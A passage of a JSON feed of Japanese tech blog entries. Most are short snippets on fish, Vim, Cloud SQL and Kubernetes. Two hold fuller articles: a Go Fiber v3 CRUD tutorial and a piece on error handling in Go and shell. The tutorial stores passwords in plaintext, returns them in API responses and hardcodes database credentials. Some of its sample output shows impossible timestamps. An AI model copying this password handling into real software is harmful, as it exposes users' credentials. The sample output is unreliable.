Yasumoto","authorId":"atusy"},{"title":"Remixでフロントエンド入門してみた","contentSnippet":"ぼちぼちフロントエンドなるもんもやってみたいなーと思い、Remixに入門してみました。フロントエンドの経験は、仕事でちょっとVue2を触ったことがあるのと、3年ほど前にReactのチュートリアルをやったことがあるくらい。特に拘りはなく、同僚がおすすめしてたRemixに手を出してみることにしました。","link":"https://blog.atusy.net/2024/06/03/remix-beginner/","isoDate":"2024-06-03T00:00:00.000Z","dateMiliSeconds":1717372800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"fishの起動時間","contentSnippet":"fishの起動時間はfish -i -c \\"fish_prompt; exit 0\\"の実行時間で測るとよさそうです。-iオプションにより設定ファイルの実行時間を含む-cオプションにfish_promptを呼ぶことでプロンプトの決定にかかる時間を含むコマンドのベンチマークに便利なhyperfineを使うとこんな感じ。平均45.8msとのことで、十分に高速かと思います。","link":"https://blog.atusy.net/2024/06/02/fish-startuptime/","isoDate":"2024-06-02T00:00:00.000Z","dateMiliSeconds":1717286400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Fiber v3 を使ったが変更点を確認だけして手癖で解決した","contentSnippet":"はじめにこの記事では、プログラミング言語のGoとWebフレームワークであるFiber v3を使って、リレーショナルデータベースのPostgreSQLをバックエンドに利用したCRUD (Create, Read, Update, Delete) 操作ができるWeb APIを作成する方法を説明します。本来であれば、Fiber v3の新機能や変更点を活用したかったのですが、十分な調査を行う前に雰囲気で実装を進めてしまったため、本記事ではそれらを採用できておりません。深夜に検証を行っていたこともあり、ベストプラクティスとは言えない部分があることを認識しています。エンジニアとして、新しいバージョンのフレームワークを使う際には、事前に十分な調査を行い、新機能や変更点を理解した上で実装を進めるべきでした。GitHub Copilot とLanguage Server で適当に書いてしまいました。また、コードの品質を保つためには、適切な時間帯に集中して作業を行うことが重要です(これはガチ)。今回の実装では、これらの点が不十分であったことを反省しています。業務では、技術選定や実装方法について、より慎重に検討を行い、品質の高いコードを書くことを心がけたいと思います。読者の皆様におかれましては、本記事の内容を参考にする際には、上記の点にご留意いただければ幸いです。github.comプロジェクトの初期化まず、新しいGoプロジェクトを作成します。mkdir fiber-crud-apicd fiber-crud-apigo mod init github.com/yourusername/fiber-crud-api必要なパッケージのインストール次に、必要なパッケージをインストールします。go get github.com/gofiber/fiber/v3go get github.com/lib/pqデータベースの設定とモデルの定義main.goファイルを作成し、以下のようにデータベースの設定とモデルを定義します。package mainimport ( \\"database/sql\\" \\"encoding/json\\" \\"fmt\\" \\"log\\" \\"time\\" \\"github.com/gofiber/fiber/v3\\" _ \\"github.com/lib/pq\\")const ( host = \\"db\\" port = 5432 user = \\"postgres\\" password = \\"password\\" dbname = \\"mydb\\")// Connect to the databasefunc Connect() (*sql.DB, error) { psqlInfo := fmt.Sprintf(\\"host=%s port=%d user=%s password=%s dbname=%s sslmode=disable\\", host, port, user, password, dbname) db, err := sql.Open(\\"postgres\\", psqlInfo) if err != nil { return nil, err } return db, nil}// User modeltype User struct { ID int `json:\\"id\\"` Name string `json:\\"name\\"` Email string `json:\\"email\\"` Password string `json:\\"password\\"` CreatedAt time.Time `json:\\"created_at\\"`}// Post modeltype Post struct { ID int `json:\\"id\\"` UserID int `json:\\"user_id\\"` Title string `json:\\"title\\"` Content string `json:\\"content\\"` CreatedAt time.Time `json:\\"created_at\\"` UpdatedAt time.Time `json:\\"updated_at\\"`}APIエンドポイントの実装続けて、main.goファイルにAPIエンドポイントを実装します。v2 の時には存在していたctx のbodyparserがv3ではなくなっていたので手癖でJSONで返したのですがおそらくBind周りで実装するとよいみたいです(あとから気付きました...)。v2からv3の変更点については以下を参考にしてください。docs.gofiber.iofunc main() { app := fiber.New() // データベース接続 db, err := Connect() if err != nil { log.Fatal(err) } defer db.Close() // Create User app.Post(\\"/users\\", func(c fiber.Ctx) error { user := new(User) if err := json.Unmarshal(c.Body(), user); err != nil { return c.Status(fiber.StatusBadRequest).JSON(fiber.Map{ \\"error\\": \\"Invalid request body\\", }) } // パスワードのハッシュ化やバリデーションを行うことが推奨される // 簡易実装のため、ここでは省略 // データベースにユーザーを作成 _, err := db.Exec(\\"INSERT INTO users (name, email, password) VALUES ($1, $2, $3)\\", user.Name, user.Email, user.Password) if err != nil { return c.Status(fiber.StatusInternalServerError).JSON(fiber.Map{ \\"error\\": \\"Failed to create user\\", }) } return c.Status(fiber.StatusCreated).JSON(fiber.Map{ \\"message\\": \\"User created\\", }) }) // Get User app.Get(\\"/users/:id\\", func(c fiber.Ctx) error { id := c.Params(\\"id\\") // データベースからユーザーを取得 row := db.QueryRow(\\"SELECT * FROM users WHERE id = $1\\", id) user := new(User) if err := row.Scan(&user.ID, &user.Name, &user.Email, &user.Password, &user.CreatedAt); err != nil { if err == sql.ErrNoRows { return c.Status(fiber.StatusNotFound).JSON(fiber.Map{ \\"error\\": \\"User not found\\", }) } return c.Status(fiber.StatusInternalServerError).JSON(fiber.Map{ \\"error\\": \\"Failed to get user\\", }) } return c.JSON(user) }) // Create Post app.Post(\\"/posts\\", func(c fiber.Ctx) error { post := new(Post) if err := json.Unmarshal(c.Body(), post); err != nil { return c.Status(fiber.StatusBadRequest).JSON(fiber.Map{ \\"error\\": \\"Invalid request body\\", }) } // データベースに記事を作成 _, err := db.Exec(\\"INSERT INTO posts (user_id, title, content) VALUES ($1, $2, $3)\\", post.UserID, post.Title, post.Content) if err != nil { return c.Status(fiber.StatusInternalServerError).JSON(fiber.Map{ \\"error\\": \\"Failed to create post\\", }) } return c.Status(fiber.StatusCreated).JSON(fiber.Map{ \\"message\\": \\"Post created\\", }) }) // Get Post app.Get(\\"/posts/:id\\", func(c fiber.Ctx) error { id := c.Params(\\"id\\") // データベースから記事を取得 row := db.QueryRow(\\"SELECT * FROM posts WHERE id = $1\\", id) post := new(Post) if err := row.Scan(&post.ID, &post.UserID, &post.Title, &post.Content, &post.CreatedAt, &post.UpdatedAt); err != nil { if err == sql.ErrNoRows { return c.Status(fiber.StatusNotFound).JSON(fiber.Map{ \\"error\\": \\"Post not found\\", }) } return c.Status(fiber.StatusInternalServerError).JSON(fiber.Map{ \\"error\\": \\"Failed to get post\\", }) } return c.JSON(post) }) log.Fatal(app.Listen(\\":3000\\"))}このコードでは、以下のエンドポイントを実装しています。POST /users: 新しいユーザーを作成します。GET /users/:id: 指定されたIDのユーザーを取得します。POST /posts: 新しい記事を作成します。GET /posts/:id: 指定されたIDの記事を取得します。Dockerfileとdocker-compose.ymlの作成開発環境用のDockerfileとdocker-compose.ymlを作成します。これも簡易的に用意した適当なファイルなので十分に吟味してください。FROM golang:1.22-alpineWORKDIR /appCOPY go.mod go.sum ./RUN go mod downloadCOPY . .RUN go build -o main .CMD [\\"./main\\"]version: \'3\'services: app: build: . ports: - \\"3000:3000\\" depends_on: - db db: image: postgres environment: POSTGRES_USER: postgres POSTGRES_PASSWORD: password POSTGRES_DB: mydb volumes: - ./init.sql:/docker-entrypoint-initdb.d/init.sqlデータベースの初期化スクリプトinit.sqlファイルを作成し、データベースの初期化スクリプトを記述します。CREATE TABLE users ( id SERIAL PRIMARY KEY, name VARCHAR(255) NOT NULL, email VARCHAR(255) UNIQUE NOT NULL, password VARCHAR(255) NOT NULL, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP);CREATE TABLE posts ( id SERIAL PRIMARY KEY, user_id INTEGER REFERENCES users(id), title VARCHAR(255) NOT NULL, content TEXT NOT NULL, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP);アプリケーションの実行以下のコマンドを実行してアプリケーションを起動します。docker-compose up --buildこれで、GoとFiberを使ってCRUDができるAPIが作成され、PostgreSQLをバックエンドに利用する環境が整いました。APIエンドポイントをテストするために、cURLやPostmanなどのツールを使用してリクエストを送信できます。APIのテストとデータベースの確認アプリケーションを起動した後、CURLを使ってAPIエンドポイントをテストし、PostgreSQLの中身を確認してみましょう。ユーザーの作成と確認まず、新しいユーザーを作成します。curl -X POST -H \\"Content-Type: application/json\\" -d \'{\\"name\\":\\"John Doe\\",\\"email\\":\\"john@example.com\\",\\"password\\":\\"secret\\"}\' http://localhost:3000/usersレスポンスとして、\\"User created\\"が返ってくるはずです。次に、作成したユーザーを確認します。curl http://localhost:3000/users/1レスポンスとして、作成したユーザーの情報がJSON形式で返ってきます。{\\"id\\":1,\\"name\\":\\"John Doe\\",\\"email\\":\\"john@example.com\\",\\"password\\":\\"secret\\",\\"created_at\\":\\"2023-04-24T12:34:56Z\\"}PostgreSQLの中身を確認するために、データベースにログインします。docker-compose exec db psql -U postgres mydbユーザーテーブルの中身を確認します。SELECT * FROM users;作成したユーザーがテーブルに存在することを確認できます。 id | name | email | password | created_at----+---------+----------------+----------+---------------------------- 1 | John Doe| john@example.com| secret | 2024-05-30 01:34:56.789012(1 row)記事の作成と確認次に、新しい記事を作成します。curl -X POST -H \\"Content-Type: application/json\\" -d \'{\\"user_id\\":1,\\"title\\":\\"My First Post\\",\\"content\\":\\"Hello, World!\\"}\' http://localhost:3000/postsレスポンスとして、\\"Post created\\"が返ってくるはずです。作成した記事を確認します。curl http://localhost:3000/posts/1レスポンスとして、作成した記事の情報がJSON形式で返ってきます。{\\"id\\":1,\\"user_id\\":1,\\"title\\":\\"My First Post\\",\\"content\\":\\"Hello, World!\\",\\"created_at\\":\\"2023-04-24T12:45:67Z\\",\\"updated_at\\":\\"2023-04-24T12:45:67Z\\"}再度、PostgreSQLの中身を確認します。SELECT * FROM posts;作成した記事がテーブルに存在することを確認できます。 id | user_id | title | content | created_at | updated_at----+---------+--------------+---------------+----------------------------+---------------------------- 1 | 1 | My First Post| Hello, World! | 2024-05-30 01:45:67.890123 | 2024-05-30 01:45:67.890123(1 row)以上で、APIのテストとデータベースの確認が完了しました。さいごに以上が、GoとFiberを使ってCRUDができるAPIを作成し、PostgreSQLをバックエンドに利用する方法です。実際のアプリケーションでは、エラーハンドリングやバリデーションなどを追加し、より堅牢なAPIを作成することが重要です。また、認証や認可、ページネーション、フィルタリングなどの機能も必要になるでしょう。データベースのマイグレーションツールを使用して、テーブル構造の変更を管理することも忘れずに。本当に手癖でやってみただけです。楽しかったです。この記事を書いている時にはaikoを聴いていたのでプレイリストも共有です。open.spotify.com","link":"https://syu-m-5151.hatenablog.com/entry/2024/05/31/122850","isoDate":"2024-05-31T03:28:50.000Z","dateMiliSeconds":1717126130000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"fishでzshのhistoryも参照したい","contentSnippet":"先日、fish使い始めたとの話をしたところですが、移行にあたり、Zshのコマンド履歴を使えないことが苦痛になりました。そんな時も、さっと設定できちゃうFishはステキ。~/.zsh_history)と、Fishのコマンド履歴(historyコマンドの出力)を合体させて、fzfで選択すれば両方の履歴を使えます。","link":"https://blog.atusy.net/2024/05/30/fish-history/","isoDate":"2024-05-30T00:00:00.000Z","dateMiliSeconds":1717027200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"H/LとPageUp/PageDownを共存させる設定 (submode編)","contentSnippet":"この記事は、Vim駅伝の2024年5月29日の記事です。22日の記事でH/LとPageUp/PageDownを共存させる設定の紹介がありました。https://zenn.dev/vim_jp/articles/20240522_ekiden_better_hlHとLは通常では、表示領域内の最初の行や最後の行にカーソルを移動させるコマンドです。連打しやすい割に、連打する意味がない、惜しい存在ですが、スクロール機能も持たせるのは良いアイデアですね。","link":"https://blog.atusy.net/2024/05/29/vim-hl-enhanced/","isoDate":"2024-05-29T00:00:00.000Z","dateMiliSeconds":1716940800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"fish使い始めた","contentSnippet":"長く、Zshを使っていましたが、Fishに移行しました。ノープラグインでOKなくらい高機能で工夫せずとも20msで起動するのは快適でいいです。ネット上のコマンドをコピペした時もそんなに込まらなさそう。","link":"https://blog.atusy.net/2024/05/27/fish/","isoDate":"2024-05-27T00:00:00.000Z","dateMiliSeconds":1716768000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Cloud SQL for PostgreSQLのベクトル検索を試す","contentSnippet":"Google Cloud Next \'24でGoogle Cloudが提供するすべてのマネージドデータベースにベクトル検索の機能が追加されました。[1]今回はそのなかのCloud SQL for PostgreSQLにフォーカスしてベクトル検索機能を試します。 Cloud SQL for PostgreSQL インスタンススペックエディションEnterprisevCPU2RAM8GBストレージタイプSSDZoneasia-northeast1接続パブリックIPを有効化 必要な設定を行うデータベースを作成す...","link":"https://zenn.dev/nnaka2992/articles/play_with_cloud_sql_vector_search","isoDate":"2024-05-26T15:54:14.000Z","dateMiliSeconds":1716738854000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Geminiはトーク分析ツールに取って代わるか","contentSnippet":"はじめに 初めまして、Sreake事業部アプリケーション開発支援チームの大美です。 先日、Googleのマルチモーダル生成AIモデル Gemini 1.5 Pro のコンテキストウィンドウが100万→200万トークンにア […]The post Geminiはトーク分析ツールに取って代わるか first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/gemini-talk-analysis/","isoDate":"2024-05-24T10:28:39.000Z","dateMiliSeconds":1716546519000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Google Cloudのプロンプト比較機能を用いた、言語モデルにおけるプロンプト設計","contentSnippet":"1. はじめに はじめまして、Sreake事業部の井上 秀一です。私はSreake事業部にて、SREや生成AIに関するResearch & Developmentを行っています。 本記事では、Google Clo […]The post Google Cloudのプロンプト比較機能を用いた、言語モデルにおけるプロンプト設計 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/google-cloud-prompt-design/","isoDate":"2024-05-24T09:52:32.000Z","dateMiliSeconds":1716544352000,"authorName":"Sreake","authorId":"Sreake"},{"title":"セキュリティ人材になるために/becoming a security personnel","contentSnippet":"2024年5月23日に行われたランチタイムトークで登壇した資料です。","link":"https://speakerdeck.com/moz_sec_/becoming-a-security-personnel","isoDate":"2024-05-23T04:00:00.000Z","dateMiliSeconds":1716436800000,"authorName":"Kobayashi Shun","authorId":"moz-sec"},{"title":"Kubernetes Code Contribution入門","contentSnippet":"Kubernetes Novice Tokyo #32 で登壇したセッションの資料です。\\rhttps://k8s-novice-jp.connpass.com/event/317561/\\r\\r配信URL:\\rhttps://www.youtube.com/live/sRLG9ufaZ4M","link":"https://speakerdeck.com/bells17/kubernetes-code-contributionru-men","isoDate":"2024-05-21T04:00:00.000Z","dateMiliSeconds":1716264000000,"authorName":"bells17","authorId":"bells17"},{"title":"Neovimの端っこで\\\\lとかしたら、WeztermのとなりのPaneに移動する","contentSnippet":"Weztermで区切ったPaneの中でNeovimを操作していると、lしたのに隣に移動できないぞ?という気分になるときがあります。右隣はNeovimのWindowではなく、WeztermのPaneですね。","link":"https://blog.atusy.net/2024/05/21/move-nvim-win-or-wezterm-pane/","isoDate":"2024-05-21T00:00:00.000Z","dateMiliSeconds":1716249600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Oracle Dataabse 19cの検証環境が欲しいからProxmoxに環境構築する","contentSnippet":"概要300年ぶりぐらいに、ローカル環境(非Cloud環境)でホストしたOracle Databaseが欲くなったので、自宅にあるProxmoxへインストールします。 前提Proxmoxにダウンロード済みのOracle Linux 9のイメージを利用する。利用するOracle Databaseは19cとする。検証環境のため本番用途に適した設定ではない。 Proxmox VMを建ち上げる Oracle Database 19cのサーバ要件今回関係あるもののみ抜粋しています。OSOracle Linux 9およびRed Hat互換カーネル: 5.14.0-...","link":"https://zenn.dev/nnaka2992/articles/install_oracle_19c_to_proxmox","isoDate":"2024-05-19T14:18:18.000Z","dateMiliSeconds":1716128298000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Pulumi コマンド を GitHub Actions で実行する","contentSnippet":"背景副業で Pulumi を使っています。プロバイダーなどのパッケージのバージョン更新をサボっていたのですが、対応しようと思い Renovate で更新するようにしました。しかし、PR が来た時点では Pulumi の差分が分かりません。ローカルで pulumi preview を実行して差分がないことを毎回確認するのは面倒なので GitHub Actions で pulumi preview を実行して PR のコメントで差分を表示してもらうことにしました。 環境Pulumi CloudPulumi + TypeScriptGoogle Cloud 実装していく...","link":"https://zenn.dev/z63d/articles/0d6b3ee4e9a44e","isoDate":"2024-05-18T05:30:31.000Z","dateMiliSeconds":1716010231000,"authorName":"Kaita Nakamura","authorId":"kaita-nakamura"},{"title":"CloudSQL for PostgreSQLのベンチマークと比較して理解するAlloyDBの特徴","contentSnippet":"概要Google Cloudが提供するPostgreSQL互換データベースであるAlloyDBのパフォーマンスをトランザクション用途・分析用途の双方から検証する。今回の検証ではAlloyDBの上限を見定めるのではなく、CloudSQLと比べてどのようなパフォーマンスになるを目的とする。 TL;DR絞り込み条件がインデックスに限定されない場合、AlloyDBのパフォーマンスメリットが特に大きくなる。絞り込み条件がインデックスに限定され、かつデータサイズが小さい場合、CloudSQL for PostgreSQLのコストパフォーマンスが大きくなる。現将・将来のワークロード...","link":"https://zenn.dev/nnaka2992/articles/compare_alloydb_and_postgres","isoDate":"2024-05-17T15:16:13.000Z","dateMiliSeconds":1715958973000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"[Kubernetes 1.30] kube-proxy の nftables モード","contentSnippet":"kube-proxyService へのトラフィックをプロキシするコンポーネントのデフォルト実装e.g.) Cluster IP への通信を Pod IP にリダイレクトするEndpointSlice, Service, Node などのオブジェクトの変更を検知して Service を介したトラフィックのルーティングを可能にするContainer Network Interface (CNI) vs kube-proxyCNI が Pod 間で通信できるように Pod IP の払い出しやルーティングをセットアップするPod は一時的なものかつ Pod ...","link":"https://zenn.dev/toversus/articles/dcb888d73f0615","isoDate":"2024-05-16T23:43:33.000Z","dateMiliSeconds":1715903013000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"Cloud SQL(MySQL)とSpring Bootの画像検索アプリケーション作成","contentSnippet":"はじめに Google Cloud Next ’24 にて Cloud SQL for MySQL にて Embedding データを入れられるようになったというアナウンスが有りました。 https://cl […]The post Cloud SQL(MySQL)とSpring Bootの画像検索アプリケーション作成 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/cloudsql-spring-boot-image-search-app/","isoDate":"2024-05-15T00:02:44.000Z","dateMiliSeconds":1715731364000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Posit Table Contestに`felp::fuzzyhelp()`を投稿した","contentSnippet":"RStudio IDEを開発するPosit PBCがTable Contest: 2024 Editionを開催しています。表を使ったデータの可視化の例を思い思いに投稿してもらい、その中から受賞者を決めて、Tシャツやマグカップなどのノベルティを進呈するプログラムのようです。polarsパッケージを使って投稿した人には特別な受賞枠もあるようです。2022年にも同様のコンテストがありましたが、今年はR言語に限らず、Python言語を使っての投稿もOKとのこと。","link":"https://blog.atusy.net/2024/05/13/posit-table-contest/","isoDate":"2024-05-13T00:00:00.000Z","dateMiliSeconds":1715558400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"自動化するならちゃんとエラーを出せ。想定しろ。不安になれ。","contentSnippet":"はじめに自動化やツール開発において、通常時に上手くいくのは当たり前です。大切なのは失敗を想定することです。自動化したツールがエラーも出さずに実行結果的にも成功してるので動いていると思っていたら、実は問題が発生していて泣いた経験は、多くの人にあるのではないでしょうか。エラーを出力し、適切に失敗させて、ログに記録することで、問題の早期発見と迅速な対応が可能になります。また、エラーが発生する可能性のある箇所を事前に想定し、適切に処理することで、ツールの信頼性と安定性が向上します。しかし、エラーハンドリングができていても、それだけでは不十分です。優れた自動化ツールは、環境の変化に柔軟に対応できるようにコードが設計されているべきです。また、自動化ツールの完成度を高めるには、エラーハンドリングだけでなく、保守性、拡張性、ユーザビリティなども考慮する必要があります。自動化ツールを開発する際は、常に不安を抱きながらコードを書くことが重要です。「もしこの部分が失敗したらどうなるだろう」「これで本当に大丈夫だろうか」と自問自答しながら、エッジケースを想定し、想定外のエラーが発生した場合の対策を講じておくことが求められます。本記事では、Golang とシェルスクリプトを例に、エラーハンドリングの具体的な方法や、自動化ツール開発における留意点のいくつかについて解説していきます。はじめにで触れた内容の一部については、詳細な説明を割愛していますので、ご了承ください。Golang でのエラーハンドリングGolang には例外機構はありませんが、関数の戻り値として error を返すのが一般的です。以下は、引数のバリデーションをして、想定外ならエラーを返す例です。type MyOption struct { IsHoge bool Fuga int}func f(s string, o MyOption) error { if !regexp.MustCompile(`^A-\\\\d{4,8}$`).MatchString(s) { return fmt.Errorf(\\"invalid argument: s must be in format A-\\\\\\\\d{4,8}\\") } if o.IsHoge && o.Fuga == 0 { return fmt.Errorf(\\"invalid argument: o.Fuga is required if o.IsHoge is true\\") } // 処理本体... return nil}このように、関数の先頭で引数をバリデーションし、想定外ならエラーを返すようにしています。また、エラーメッセージは fmt.Errorf を使って生成しています。これは、エラーメッセージをフォーマットする際のベストプラクティスです。さらに、エラーが発生した場合は、適切にエラーを処理することが大切です。以下は、エラーをログ出力し、さらに上位の関数に返している例です。func doSomething() error { err := f(\\"A-1234\\", MyOption{IsHoge: true, Fuga: 1}) if err != nil { log.Printf(\\"failed to call f: %v\\", err) return fmt.Errorf(\\"failed to do something: %w\\", err) } // 処理続行... return nil}ここでは、f 関数でエラーが発生した場合、ログ出力をしつつ、fmt.Errorf を使ってエラーをラップして返しています。%w は Go 1.13 から導入された Wrapping Verb で、元のエラーを内包した新しいエラーを生成します。これにより、エラーの因果関係が明確になり、デバッグがしやすくなります。シェルスクリプトでのエラーハンドリングシェルスクリプトでも、コマンドの実行結果を適切にチェックし、エラーを検出することが重要です。以下は、コマンドの実行結果をチェックする一般的なパターンです。some_commandif [ $? -ne 0 ]; then echo \\"some_command failed\\" exit 1fi$? は直前のコマンドの終了ステータスを表す特殊変数です。0 であれば成功、0 以外であればエラーを表します。また、あるコマンドの実行結果を別のコマンドにパイプで渡す場合、パイプラインの途中でエラーが発生してもシェルスクリプトは中断されません。これを防ぐには、以下のようにします。set -o pipefailsome_command | another_commandif [ $? -ne 0 ]; then echo \\"pipeline failed\\" exit 1fiset -o pipefail は、パイプラインのいずれかのコマンドが0以外の終了ステータスを返した場合、パイプライン全体の終了ステータスをそのコマンドの終了ステータスにするオプションです。外部リソースのエラーハンドリング自動化ツールでは、外部APIやデータベースへのアクセスが頻繁に行われます。これらの外部リソースは、ネットワークの問題などで必ず失敗する可能性があることを念頭に置く必要があります。Golang では、net/http パッケージを使った HTTP リクエストが一般的です。以下は、タイムアウトを設定し、レスポンスのステータスコードをチェックする例です。client := &http.Client{ Timeout: 10 * time.Second,}resp, err := client.Get(\\"https://3-shake.com/\\")if err != nil { return fmt.Errorf(\\"failed to get: %w\\", err)}defer resp.Body.Close()if resp.StatusCode != http.StatusOK { return fmt.Errorf(\\"unexpected status code: %d\\", resp.StatusCode)}// レスポンスの処理...シェルスクリプトでは、curl コマンドがよく使われます。以下は、curl コマンドのエラーをチェックする例です。response=$(curl -s -w \\"%{http_code}\\" https://example.com/api/hoge)status_code=$(tail -n1 <<< \\"$response\\") # 最後の行がステータスコードbody=$(sed \'$d\' <<< \\"$response\\") # 最後の行以外がレスポンスボディif [ $status_code -ne 200 ]; then echo \\"unexpected status code: $status_code\\" exit 1fi# レスポンスの処理...-s オプションでサイレントモードにし、-w \\"%{http_code}\\" でレスポンスのステータスコードを出力しています。デバッグをできるようにするデバッグから逃げてはいけません。問題が発生した際に、どこで何が起きているのかを把握できることは重要です。シェルスクリプトでは、bash -x オプションを使うことでデバッグ出力を有効にできます(他のシェルでも似たようなオプションがある)。このオプションを付けてスクリプトを実行すると、各コマンドが実行される前に、そのコマンドが表示されます。これにより、スクリプトのどの部分が実行されているのか、変数がどのように展開されているのかを確認できます。bash -x ./your_script.shGolang にも同様のデバッグ機能があります。delve というデバッガを使うことで、Golang プログラムのデバッグが可能です。delve を使えば、ブレークポイントを設定してプログラムを停止させ、変数の値を確認したり、ステップ実行したりできます。# delve のインストールgo get -u github.com/go-delve/delve/cmd/dlv# デバッグ実行dlv debug ./your_program.goデバッグ実行中は、break コマンドでブレークポイントを設定し、continue でプログラムを再開、next で次の行に進むなどの操作ができます。これらのデバッグ機能を活用することで、問題の原因をより迅速に特定できるようになります。まとめGolang では、関数の戻り値として error を返し、適切にエラーをハンドリングしよう。シェルスクリプトでは、コマンドの終了ステータスをチェックし、パイプラインのエラーにも対処しよう。外部リソースは必ず失敗すると想定してコードを書こう。 タイムアウトの設定やエラーチェックを忘れずに。自動化は常に不安であり、モニタリングすることを忘れずに。デバッグから逃げるな。個人的に自動化に関してはエッジケースの処理を上手くやっていたりすると「オー」って思うのに問題がないので目立たないので今回は記事を書きました。しっかりと失敗することを想定することで、自動化ツールの信頼性と保守性は大きく向上します。 Golang とシェルスクリプトの両方で、エラーとうまく付き合っていきましょう。「何回説明しても伝わらない」はなぜ起こるのか? 認知科学が教えるコミュニケーションの本質と解決策作者:今井むつみ日経BPAmazon","link":"https://syu-m-5151.hatenablog.com/entry/2024/05/11/115518","isoDate":"2024-05-11T02:55:18.000Z","dateMiliSeconds":1715396118000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"盲目的に始めないためのオブザーバビリティ実践ガイド - Cloud Observability in Actionの読書感想文","contentSnippet":"誕生日エントリー兼読書感想文です。www.amazon.jpはじめにクラウドコンピューティングの普及とマイクロサービスアーキテクチャの台頭により、システムの複雑性が増大しています。そのような中で、オブザーバビリティ(可観測性)の重要性が高まっています。本書「Cloud Observability in Action」は、クラウドネイティブなシステムにおけるオブザーバビリティの概念と実践方法を包括的に解説した一冊です。learning.oreilly.comオブザーバビリティとは、システムの外部から観測できる情報に基づいて、内部の状態を推論し理解する能力のことを指します。本書では、オブザーバビリティを投資対効果の観点から捉え、データの生成から収集、処理、可視化に至るまでのプロセス全体を俯瞰します。OpenTelemetryやPrometheus、Grafana、Loki、Jaegerなどのオープンソースツールを活用し、誰でも実践的な知見を時間以外の費用をかけずに得られるよう工夫されています。著者自身の豊富な経験に基づくベストプラクティスが随所に盛り込まれているのと参考になるURLをめちゃくちゃに共有してくれております、開発者やSREだけでなく、あらゆるクラウドネイティブ関係者にとって有益な内容となっています。単なるツールの使い方の解説にとどまらず、オブザーバビリティを組織文化として定着させるためのヒントも提供されています。本書を通して、オブザーバビリティの本質的な価値とその実現に向けた道筋を学ぶことができるでしょう。得られた知見をどのように活用するかは読者次第ですが、システムと組織の継続的な進化を支える原動力として、オブザーバビリティをバズワードとして盲目的に始めずに目を見開いてオブザーバビリティを捉える視座を得られるはずです。本稿では、各章の要点を丁寧に読み解きながら、私なりの学びと気づきをシェアしていきます。皆様にとっても、オブザーバビリティへの理解を深め、その実践への一歩を踏み出すきっかけとなれば幸いです。Cloud Observability in Action作者:Hausenblas, MichaelManningAmazonこの本の構成本書「Cloud Observability in Action」では、クラウドネイティブなシステムにおけるオブザーバビリティの概念と実践方法が包括的に解説されています。第1章ではエンドツーエンドの例が示され、ソースからエージェント、宛先までの用語が定義されているとともに、可観測性の文脈におけるユースケース、役割、課題について説明されています。第2章ではログ、メトリック、トレースといったさまざまなテレメトリ信号タイプと、それらの使い分け方、収集方法、コストと利点について述べられています。第3章ではテレメトリが生成される信号ソースについて、種類や選択方法、インストルメントコードの扱い方が解説されています。第4章ではOpenTelemetryを中心に、ログルーターからのさまざまなテレメトリエージェントが紹介されています。第5章では、Prometheusなどの時系列データベースやClickHouseなどの列指向データストアを例に、テレメトリ信号のバックエンド宛先について学ぶことができます。第6章では可観測性フロントエンドについて、純粋なフロントエンドとオールインワンの選択方法が説明されています。第7章ではクラウドオペレーションの側面として、異常検知や過去の失敗からの学習、アラート、使用状況、コスト追跡について述べられています。第8章では分散トレースとマイクロサービスの理解・トラブルシューティングへの活用方法が、第9章では継続的なプロファイリングと開発者の生産性ツールを中心に開発者の可観測性について詳解されています。第10章ではサービスレベル目標の設定と消費者満足度の問題への対処方法が、第11章では単一の信号タイプでは解決できない課題と信号相関によるアプローチが取り上げられています。付録ではOpenTelemetry、Prometheus、Jaeger、Grafanaを使用した完全なエンドツーエンドの例が提供されています。Github Repositorygithub.com目次はじめにこの本の構成Github Repository目次1 End-to-end observabilityオブザーバビリティの定義と目的オブザーバビリティのコンポーネント具体例としてのマイクロサービスアプリ \\"Sock Shop\\"クラウドネイティブの課題とその解決オブザーバビリティはクラウドネイティブ時代の必須プラクティス2 Signal typesオブザーバビリティの3本柱ログ: 人間が読み解くテキストベースの出力メトリクス: 自動化された監視・分析に役立つ数値指標トレース: マイクロサービスの処理フローを可視化する収集する信号の選定とコスト管理オブザーバビリティを支える3本柱の理解と適切な運用が肝心3 Sourcesクラウドネイティブシステムにおける多様な信号源の理解と活用コンピューティング関連のソースの詳細ストレージ関連のソースの詳細ネットワーク関連のソースの詳細自身のコード関連の詳細4 Agents and instrumentationObservabilityにおけるAgentsとinstrumentationの役割意味論的規約の重要性自動計装と手動計装の使い分けOpenTelemetry collectorの役割と設定OpenTelemetryの柔軟性と拡張性パフォーマンスとリソース効率Observabilityの新しい標準としてのOpenTelemetry自動化と最適化の必要性Observabilityの継続的な改善5 Backend destinationsバックエンドの選択がObservabilityの成功を左右するシグナルタイプごとのバックエンドオプションカーディナリティの課題とカラムナーデータストアポリグロットバックエンドアーキテクチャ制約と誓約6 Frontend destinationsフロントエンドとオールインワンソリューションの役割オープンソースとコマーシャルオファリングの比較ツール選定の考慮事項シングルパネルオブグラスとデータ相関の重要性フロントエンドとオールインワンの選択プロセスObservabilityツールの継続的な評価と改善Observabilityの価値実現に向けて7 Cloud operationsインシデント管理のベストプラクティスアラート設計のポイントと継続的な最適化今後の課題8 Distributed 